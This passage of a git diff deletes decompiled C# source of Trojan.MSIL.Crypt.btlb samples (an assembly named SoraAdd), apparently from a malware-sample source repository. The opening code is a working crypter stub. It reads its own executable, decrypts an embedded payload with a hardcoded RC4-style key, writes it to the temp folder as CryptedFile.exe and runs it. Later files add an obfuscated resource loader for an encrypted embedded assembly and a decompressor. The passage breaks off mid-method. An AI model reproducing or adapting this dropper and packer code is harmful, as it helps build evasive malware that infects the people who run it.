Path.GetTempPath(); -label_2: - num3 = 3; - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); -label_3: - num3 = 4; - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); -label_4: - num3 = 5; - FileSystem.FileGet(1, ref Expression); -label_5: - num3 = 6; - FileSystem.FileClose(1); -label_6: - num3 = 7; - string[] strArray = Strings.Split(Expression, "YesNewBeg"); -label_7: - num3 = 8; - string str = \u0003.\u0003(strArray[1], "AlrightThisWillDeverseTheEffects"); -label_8: - num3 = 9; - FileSystem.FileOpen(5, tempPath + "\\CryptedFile.exe", OpenMode.Binary, OpenAccess.ReadWrite); -label_9: - num3 = 10; - FileSystem.FilePut(5, str, -1L, false); -label_10: - num3 = 11; - FileSystem.FileClose(5); -label_11: - num3 = 12; - Process.Start(tempPath + "\\CryptedFile.exe"); -label_12: - num3 = 13; - this.Close(); - ProjectData.EndApp(); - goto label_19; -label_14: - num1 = num3; - switch (num2 > -2 ? num2 : 1) - { - case 1: - int num4 = num1 + 1; - num1 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_19; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0) - { - ProjectData.SetProjectError(ex); - goto label_14; - } - throw ProjectData.CreateProjectError(-2146828237); -label_19: - if (num1 == 0) - return; - ProjectData.ClearProjectError(); - } - - public static string \u0003(string message, string password) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0004/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0004/_0004.cs deleted file mode 100644 index 4ba06162..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0004/_0004.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - internal sealed class \u0004 - { - private static ResourceManager \u0001; - private static CultureInfo \u0002; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) \u0004.\u0004.\u0001, (object) null)) - \u0004.\u0004.\u0001 = new ResourceManager("Soraadd.Resources", typeof (\u0004.\u0004).Assembly); - return \u0004.\u0004.\u0001; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => \u0004.\u0004.\u0002; - set => \u0004.\u0004.\u0002 = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0005/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0005/_0001.cs deleted file mode 100644 index e465200e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0005/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Soraadd.My; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u0005 -{ - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - [HideModuleName] - internal sealed class \u0001 - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_003CModule_003E.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_003CModule_003E.cs deleted file mode 100644 index 626228f8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_003CModule_003E.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0002; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u0003.\u0003(); - \u0001.\u0001.\u0003(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/{3872a73d-48e1-4504-b393-a76428731afe} b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/{3872a73d-48e1-4504-b393-a76428731afe} deleted file mode 100644 index e61e286160257c8894027c5d670d70515f962895..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1012 zcmVZ;#0EpgV=|ivY?=MPV zsG*Wso}&j!_;8EVOsHx(Jj%tfNY_GPP;j0B?rrDcirR4xWk>Fdm|5|WscoG~dCk1F zFzOKm1BSw5XXBsyyDK#kwoXCZ#o%Qw@H`79Q^2P6z=Z;P2{d#9Sf|5*GYf)#p)98W zc6324yf))=+a3@>Af!I4I5V5&X^vGUN(+g90^xSx9jh8iuDNa~J4wRZoHm7K!dBGr zq);ervz8#Op=gCVfJ-d;MG{6QWhi9TT!ct*WnNZg2y`>^gkYXHpUoc!1fvRxtt##w z>F6`|k3$Iqxl2nlWE-|!q`o!IxBIh;lNftdT~{uyiCbTBKt^Tgz*d*Q3GUxDlt_!9 z=VaR4Ay4E$sSPqcQ|xH2shuAM;X0Zzv`OLNYfd^rJp8F!mscsV0*p4IV}3_uDa-=q zfWyk)8?+(135XQL1MM+Dld^BB-}O29-7?3826DnnO%ileWcp`;xZYU_`CnrMfEq_V zq2Sd-9#g-N{cK9V*ni}~iW6wj4}1;JXKQndyPvN)OA%c2I=;M1UsDqP#Su-(D>AFR z8<^wI@>9m11+IH4;k2TH$mmOfYLbDeYHtrAx?*z!FS8*TcII|pO!PVQK4ny%nEj;A z0`n2`n=BWFeTtf<3&F6}ukN)gS}2(%O^Wiq`7ga2VwHhyt0ngz4_GqGa#WRNBnkFG%(xRl@3`>uEt z`{MY>#1+gEX4GetfzIV5dEV5JO$jcI&Uo&DOJ!y}$dtfuHx2)Z52RiKQl|-2sTEE^ zfIa$`uq6~pakam<2a8Egkep@@FgPKmEXNpY==KR1U0apl!{(iEMwLGtR1=!Fof>lx z6<3v3(tR9Vu+HnP>*2XBFNbqia}-0(c+4lvT>E8YT4#^DK|U0P*tDj;v�{mM0y* zl`WM0G<<(5E!A-U!gU9ftjb)v0Pii9?xh+PwDU4Iae5V>yVwub z@Rw6l1@kpEoBDP!z92c(gv~+)DJ_ zIRICta9Y6=372`Dd}8Qa*)8orZJP4jqUt}0V7-lOz i7icSMRKoq6kz`t&g{e>CsYO&G)tSW#2RfKw=)(hH)aWY! diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/AssemblyInfo.cs deleted file mode 100644 index 4afd43e7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/AssemblyInfo.cs +++ /dev/null @@ -1,17 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: Guid("36537493-e85c-4d7e-96bc-32c472e96b4c")] -[assembly: ComVisible(false)] -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("")] -[assembly: SuppressIldasm] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyFileVersion("3.0.0.0")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("3.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index 5efe9732..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/SmartAssembly/Attributes/PoweredByAttribute2.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/SmartAssembly/Attributes/PoweredByAttribute2.cs deleted file mode 100644 index 441112bb..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/SmartAssembly/Attributes/PoweredByAttribute2.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute2 -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute2 : Attribute - { - public PoweredByAttribute2(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/Soraadd/My/MySettings.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/Soraadd/My/MySettings.cs deleted file mode 100644 index fc5d2d46..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/Soraadd/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Soraadd.My.MySettings -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0005; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Soraadd.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool \u0002; - private static object \u0003 = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void \u0003(object sender, EventArgs e) - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.\u0002) - { - object Expression = MySettings.\u0003; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!MySettings.\u0002) - { - \u0003.\u0003.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - }); - MySettings.\u0002 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return MySettings.\u0001; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/Trojan.MSIL.Crypt.btlb.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/Trojan.MSIL.Crypt.btlb.csproj deleted file mode 100644 index 7287b6b6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/Trojan.MSIL.Crypt.btlb.csproj +++ /dev/null @@ -1,62 +0,0 @@ - - - - - Debug - AnyCPU - {CD56B066-3932-4E19-B10F-065F6FE08B5B} - WinExe - SoraAdd - 3.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/Trojan.MSIL.Crypt.btlb.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/Trojan.MSIL.Crypt.btlb.sln deleted file mode 100644 index 75ccb180..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/Trojan.MSIL.Crypt.btlb.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SoraAdd", "Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.csproj", "{CD56B066-3932-4E19-B10F-065F6FE08B5B}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {CD56B066-3932-4E19-B10F-065F6FE08B5B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {CD56B066-3932-4E19-B10F-065F6FE08B5B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {CD56B066-3932-4E19-B10F-065F6FE08B5B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {CD56B066-3932-4E19-B10F-065F6FE08B5B}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0001.cs deleted file mode 100644 index e14f5660..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0001; -using System; - -namespace \u0001 -{ - internal sealed class \u0001 - { - public static void \u0003() - { - try - { - \u0002.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0002.cs deleted file mode 100644 index 4d7cfddc..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0002.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0001; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0002 - { - private static Assembly \u0001 = (Assembly) null; - private static string[] \u0002 = new string[0]; - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0002.\u0003); - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - if ((object) \u0002.\u0001 == null) - { - lock (\u0002.\u0002) - { - \u0002.\u0001 = Assembly.Load("{3872a73d-48e1-4504-b393-a76428731afe}, PublicKeyToken=3e56350693f7355e"); - if ((object) \u0002.\u0001 != null) - \u0002.\u0002 = \u0002.\u0001.GetManifestResourceNames(); - } - } - string name = obj1.Name; - for (int index = 0; index < \u0002.\u0002.Length; ++index) - { - if (\u0002.\u0002[index] == name) - return \u0002.\u0001; - } - return (Assembly) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0003.cs deleted file mode 100644 index 50b36bce..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0001/_0003.cs +++ /dev/null @@ -1,930 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0001; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0003 - { - public static byte[] \u0003([In] byte[] obj0) - { - // ISSUE: unable to decompile the method. - } - - internal sealed class \u0001 - { - private static int[] \u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - private static int[] \u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - private static int[] \u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - private static int[] \u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - private int \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private bool \u000F; - private \u0003.\u0002 \u0010; - private \u0003.\u0003 \u0011; - private \u0003.\u0005 \u0012; - private \u0003.\u0004 \u0013; - private \u0003.\u0004 \u0014; - - public \u0001([In] byte[] obj0) - { - this.\u0010 = new \u0003.\u0002(); - this.\u0011 = new \u0003.\u0003(); - this.\u0005 = 2; - this.\u0010.\u0003(obj0, 0, obj0.Length); - } - - private bool \u0003() - { - int num1 = this.\u0011.\u0003(); - while (num1 >= 258) - { - switch (this.\u0005) - { - case 7: - int num2; - while (((num2 = this.\u0013.\u0003(this.\u0010)) & -256) == 0) - { - this.\u0011.\u0003(num2); - if (--num1 < 258) - return true; - } - if (num2 < 257) - { - if (num2 < 0) - return false; - this.\u0014 = (\u0003.\u0004) null; - this.\u0013 = (\u0003.\u0004) null; - this.\u0005 = 2; - return true; - } - this.\u0007 = \u0003.\u0001.\u0001[num2 - 257]; - this.\u0006 = \u0003.\u0001.\u0002[num2 - 257]; - goto case 8; - case 8: - if (this.\u0006 > 0) - { - this.\u0005 = 8; - int num3 = this.\u0010.\u0003(this.\u0006); - if (num3 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0007 += num3; - } - this.\u0005 = 9; - goto case 9; - case 9: - int index = this.\u0014.\u0003(this.\u0010); - if (index < 0) - return false; - this.\u0008 = \u0003.\u0001.\u0003[index]; - this.\u0006 = \u0003.\u0001.\u0004[index]; - goto case 10; - case 10: - if (this.\u0006 > 0) - { - this.\u0005 = 10; - int num4 = this.\u0010.\u0003(this.\u0006); - if (num4 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0008 += num4; - } - this.\u0011.\u0003(this.\u0007, this.\u0008); - num1 -= this.\u0007; - this.\u0005 = 7; - continue; - default: - continue; - } - } - return true; - } - - private bool \u0004() - { - switch (this.\u0005) - { - case 2: - if (this.\u000F) - { - this.\u0005 = 12; - return false; - } - int num = this.\u0010.\u0003(3); - if (num < 0) - return false; - this.\u0010.\u0003(3); - if ((num & 1) != 0) - this.\u000F = true; - switch (num >> 1) - { - case 0: - this.\u0010.\u0003(); - this.\u0005 = 3; - break; - case 1: - this.\u0013 = \u0003.\u0004.\u0003; - this.\u0014 = \u0003.\u0004.\u0004; - this.\u0005 = 7; - break; - case 2: - this.\u0012 = new \u0003.\u0005(); - this.\u0005 = 6; - break; - } - return true; - case 3: - if ((this.\u000E = this.\u0010.\u0003(16)) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 4; - goto case 4; - case 4: - if (this.\u0010.\u0003(16) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 5; - goto case 5; - case 5: - this.\u000E -= this.\u0011.\u0003(this.\u0010, this.\u000E); - if (this.\u000E != 0) - return !this.\u0010.\u0003(); - this.\u0005 = 2; - return true; - case 6: - if (!this.\u0012.\u0003(this.\u0010)) - return false; - this.\u0013 = this.\u0012.\u0003(); - this.\u0014 = this.\u0012.\u0004(); - this.\u0005 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0003(); - case 12: - return false; - default: - return false; - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - do - { - if (this.\u0005 != 11) - goto label_5; -label_2: - continue; -label_5: - int num2 = this.\u0011.\u0003(obj0, obj1, obj2); - obj1 += num2; - num1 += num2; - obj2 -= num2; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0004() || this.\u0011.\u0004() > 0 && this.\u0005 != 11); - goto label_3; -label_1: - return num1; -label_3: - return num1; - } - } - - internal sealed class \u0002 - { - private byte[] \u0001; - private int \u0002; - private int \u0003; - private uint \u0004; - private int \u0005; - - public int \u0003([In] int obj0) - { - if (this.\u0005 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0002 == this.\u0003) - return -1; - this.\u0004 |= (uint) (((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue) << 8) << this.\u0005); - this.\u0005 += 16; - goto label_3; - } - - public void \u0003([In] int obj0) - { - this.\u0004 >>= obj0; - this.\u0005 -= obj0; - } - - [SpecialName] - public int \u0003() => this.\u0005; - - [SpecialName] - public int \u0004() => this.\u0003 - this.\u0002 + (this.\u0005 >> 3); - - public void \u0003() - { - this.\u0004 >>= this.\u0005 & 7; - this.\u0005 &= -8; - } - - [SpecialName] - public bool \u0003() => this.\u0002 == this.\u0003; - - public int \u0003([In] byte[] 